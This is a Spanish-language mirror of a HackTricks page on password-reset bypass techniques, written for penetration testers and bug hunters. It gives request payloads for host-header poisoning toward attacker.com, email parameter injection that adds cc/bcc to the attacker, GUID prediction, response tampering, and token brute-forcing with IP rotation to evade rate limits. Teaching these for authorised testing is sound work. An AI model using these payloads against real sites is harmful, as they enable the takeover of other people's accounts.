mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-02 09:29:59 +00:00
325 lines
14 KiB
Markdown
325 lines
14 KiB
Markdown
# Omisión de Contraseña Restablecida/Olvidada
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
|
|
|
|
**Perspectivas de Hacking**\
|
|
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking.
|
|
|
|
**Noticias de Hacking en Tiempo Real**\
|
|
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real.
|
|
|
|
**Últimos Anuncios**\
|
|
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones críticas de la plataforma.
|
|
|
|
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
|
|
|
|
La siguiente recopilación de técnicas fue tomada de [https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
|
|
|
|
## Fuga de Token de Restablecimiento de Contraseña Vía Referente
|
|
|
|
El **HTTP referer** es un campo de encabezado HTTP opcional que identifica la dirección de la página web que está vinculada al recurso que se está solicitando. El encabezado de solicitud Referer contiene la dirección de la página web anterior desde la cual se siguió un enlace a la página actualmente solicitada.
|
|
|
|
![](https://www.optimizesmart.com/wp-content/uploads/2020/01/1-1-2.jpg)
|
|
|
|
### Explotación
|
|
|
|
* Solicita el restablecimiento de la contraseña a tu dirección de correo electrónico.
|
|
* Haz clic en el enlace de restablecimiento de contraseña.
|
|
* No cambies la contraseña.
|
|
* Haz clic en cualquier sitio web de terceros (por ejemplo: Facebook, Twitter).
|
|
* Intercepta la solicitud en el proxy de Burpsuite.
|
|
* Verifica si el encabezado referer está filtrando el token de restablecimiento de contraseña.
|
|
|
|
### Impacto
|
|
|
|
Permite a la persona que tiene control sobre un sitio en particular cambiar la contraseña del usuario (ataque CSRF), porque esta persona conoce el token de restablecimiento de contraseña del usuario.
|
|
|
|
### Referencia:
|
|
|
|
* https://hackerone.com/reports/342693
|
|
* https://hackerone.com/reports/272379
|
|
* https://hackerone.com/reports/737042
|
|
* https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a
|
|
* https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1
|
|
|
|
## Envenenamiento de Restablecimiento de Contraseña
|
|
|
|
Si encuentras un ataque de encabezado de host y está fuera de alcance, ¡intenta encontrar el botón de restablecimiento de contraseña!
|
|
|
|
![](https://portswigger.net/web-security/images/password-reset-poisoning.svg)
|
|
|
|
### Explotación
|
|
|
|
* Intercepta la solicitud de restablecimiento de contraseña en Burpsuite.
|
|
* Añade el siguiente encabezado o edita el encabezado en Burpsuite (prueba uno por uno)
|
|
```
|
|
Host: attacker.com
|
|
```
|
|
|
|
```
|
|
Host: target.com
|
|
X-Forwarded-Host: attacker.com
|
|
```
|
|
|
|
```
|
|
Host: target.com
|
|
Host: attacker.com
|
|
```
|
|
* Verifica si el enlace para cambiar la contraseña dentro del correo electrónico apunta a attacker.com
|
|
|
|
### Solución
|
|
|
|
Usa `$_SERVER['SERVER_NAME']` en lugar de `$_SERVER['HTTP_HOST']`
|
|
```php
|
|
$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";
|
|
```
|
|
### Impacto
|
|
|
|
La víctima recibirá el enlace malicioso en su correo electrónico y, al hacer clic, revelará el enlace/token de restablecimiento de contraseña del usuario al atacante, lo que llevará a la toma total de la cuenta.
|
|
|
|
### Referencia:
|
|
|
|
* https://hackerone.com/reports/226659
|
|
* https://hackerone.com/reports/167631
|
|
* https://www.acunetix.com/blog/articles/password-reset-poisoning/
|
|
* https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/
|
|
* https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87
|
|
|
|
## Restablecimiento de Contraseña Manipulando el Parámetro de Correo Electrónico
|
|
|
|
### Explotación
|
|
|
|
* Añadir correo electrónico del atacante como segundo parámetro usando &
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email=victim@email.com&email=attacker@email.com
|
|
```
|
|
* Agregar correo electrónico del atacante como segundo parámetro utilizando %20
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email=victim@email.com%20email=attacker@email.com
|
|
```
|
|
* Agrega el correo electrónico del atacante como segundo parámetro utilizando |
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email=victim@email.com|email=attacker@email.com
|
|
```
|
|
* Agregar el correo electrónico del atacante como segundo parámetro usando cc
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
|
```
|
|
* Agregar correo electrónico del atacante como segundo parámetro usando bcc
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
|
```
|
|
* Agrega el correo electrónico del atacante como segundo parámetro usando ,
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email="victim@mail.tld",email="attacker@mail.tld"
|
|
```
|
|
* Agregar correo electrónico del atacante como segundo parámetro en el arreglo json
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
|
```
|
|
### Referencia
|
|
|
|
* https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
|
|
* https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
|
|
* https://twitter.com/HusseiN98D/status/1254888748216655872
|
|
|
|
## Cambio de Correo Electrónico y Contraseña de cualquier Usuario a través de Parámetros de la API
|
|
|
|
### Explotación
|
|
|
|
* El atacante debe iniciar sesión con su cuenta e ir a la función Cambiar contraseña
|
|
* Iniciar Burp Suite e Intercepta la solicitud
|
|
* Después de interceptar la solicitud, envíala al repetidor y modifica los parámetros Email y Contraseña
|
|
```php
|
|
POST /api/changepass
|
|
[...]
|
|
("form": {"email":"victim@email.tld","password":"12345678"})
|
|
```
|
|
### Referencia
|
|
|
|
* https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240
|
|
|
|
### Sin Límite de Tasa: Bombardeo de Correo Electrónico <a href="#5-no-rate-limiting-email-bombing" id="5-no-rate-limiting-email-bombing"></a>
|
|
|
|
### Explotación
|
|
|
|
* Inicia Burp Suite e Intercepta la solicitud de restablecimiento de contraseña
|
|
* Enviar a intruso
|
|
* Utilizar carga útil nula
|
|
|
|
### Referencia
|
|
|
|
* https://hackerone.com/reports/280534
|
|
* https://hackerone.com/reports/794395
|
|
|
|
## Descubre Cómo se Genera el Token de Restablecimiento de Contraseña
|
|
|
|
Descubre el patrón del token de restablecimiento de contraseña
|
|
|
|
![](https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcSvCcLcUTksGbpygrJB4III5BTBYEzYQfKJyg\&usqp=CAU)
|
|
|
|
Si está
|
|
|
|
* Generado basado en Timestamp
|
|
* Generado basado en el UserID
|
|
* Generado basado en el correo electrónico del Usuario
|
|
* Generado basado en Nombre y Apellido
|
|
* Generado basado en Fecha de Nacimiento
|
|
* Generado basado en Criptografía
|
|
|
|
Utiliza Burp Sequencer para encontrar la aleatoriedad o previsibilidad de los tokens.
|
|
|
|
## GUID Adivinable
|
|
|
|
Existen diferentes tipos de GUIDs:
|
|
|
|
* **Versión 0:** Solo se ve en el GUID nulo ("00000000-0000-0000-0000-000000000000").
|
|
* **Versión 1:** El GUID se genera de manera predecible basado en:
|
|
* El tiempo actual
|
|
* Una "secuencia de reloj" generada aleatoriamente que permanece constante entre GUIDs durante el tiempo de actividad del sistema generador
|
|
* Un "ID de nodo", que se genera basado en la dirección MAC del sistema si está disponible
|
|
* **Versión 3:** El GUID se genera utilizando un hash MD5 de un nombre y espacio de nombres proporcionados.
|
|
* **Versión 4:** El GUID se genera aleatoriamente.
|
|
* **Versión 5:** El GUID se genera utilizando un hash SHA1 de un nombre y espacio de nombres proporcionados.
|
|
|
|
Es posible echar un vistazo a un GUID y descubrir su versión, hay una pequeña herramienta para eso: [**guidtool**](https://github.com/intruder-io/guidtool)****
|
|
```http
|
|
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
|
|
UUID version: 1
|
|
UUID time: 2021-11-17 17:52:18.141000
|
|
UUID timestamp: 138564643381410000
|
|
UUID node: 17547390002044
|
|
UUID MAC address: 0f:f5:91:f2:a3:7c
|
|
UUID clock sequence: 3426
|
|
```
|
|
Si la versión utilizada para generar un GUID de restablecimiento de contraseña es la versión 1, es posible forzar bruscamente los GUIDS:
|
|
```http
|
|
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
|
|
a34aca00-47d0-11ec-8d62-0ff591f2a37c
|
|
a34af110-47d0-11ec-8d62-0ff591f2a37c
|
|
```
|
|
### Referencias
|
|
|
|
* [https://www.intruder.io/research/in-guid-we-trust](https://www.intruder.io/research/in-guid-we-trust)
|
|
|
|
## Manipulación de respuesta: Reemplazar respuesta mala por una buena
|
|
|
|
Busca solicitudes y respuestas como estas
|
|
```php
|
|
HTTP/1.1 401 Unauthorized
|
|
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
|
|
```
|
|
Cambio de Respuesta
|
|
```php
|
|
HTTP/1.1 200 OK
|
|
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
|
|
```
|
|
### Referencia
|
|
|
|
* https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3
|
|
|
|
### Uso de Token Expirado <a href="#8-using-expired-token" id="8-using-expired-token"></a>
|
|
|
|
* Verificar si el token expirado puede ser reutilizado
|
|
|
|
### Fuerza Bruta en Token de Restablecimiento de Contraseña <a href="#9-brute-force-password-rest-token" id="9-brute-force-password-rest-token"></a>
|
|
|
|
Intentar realizar fuerza bruta al token de restablecimiento utilizando Burpsuite
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email=victim@email.com&code=$BRUTE$
|
|
```
|
|
* Utiliza IP-Rotator en burpsuite para evitar el límite de tasa basado en IP.
|
|
|
|
### Referencia
|
|
|
|
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
|
|
|
|
### Intenta Usar Tu Token <a href="#10-try-using-your-token" id="10-try-using-your-token"></a>
|
|
|
|
* Intenta agregar tu token de restablecimiento de contraseña con la cuenta de la víctima
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email=victim@email.com&code=$YOUR_TOKEN$
|
|
```
|
|
### Referencia
|
|
|
|
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
|
|
|
|
## Invalidación de Sesión en Cierre de Sesión/Restablecimiento de Contraseña
|
|
|
|
Cuando un usuario **cierra sesión o restablece su contraseña**, la sesión actual debería invalidarse.\
|
|
Por lo tanto, **captura las cookies** mientras el usuario está conectado, **cierra sesión** y **verifica** si las **cookies** aún son **válidas**.\
|
|
Repite el proceso **cambiando la contraseña** en lugar de cerrar sesión.
|
|
|
|
## Tiempo de Expiración del Token de Restablecimiento
|
|
|
|
Los **tokens de restablecimiento deben tener un tiempo de expiración**, después de este el token no debería ser válido para cambiar la contraseña de un usuario.
|
|
|
|
## Verificaciones Adicionales
|
|
|
|
* Usa username@burp\_collab.net y analiza el callback
|
|
* Usuario copia de carbono email=victim@mail.com%0a%0dcc:hacker@mail.com
|
|
* Contraseña larga (>200) conduce a DoS
|
|
* Añade un segundo parámetro de email y valor
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
|
|
|
|
**Perspectivas de Hacking**\
|
|
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking.
|
|
|
|
**Noticias de Hacking en Tiempo Real**\
|
|
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e insights en tiempo real.
|
|
|
|
**Últimos Anuncios**\
|
|
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones críticas de la plataforma.
|
|
|
|
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo.
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|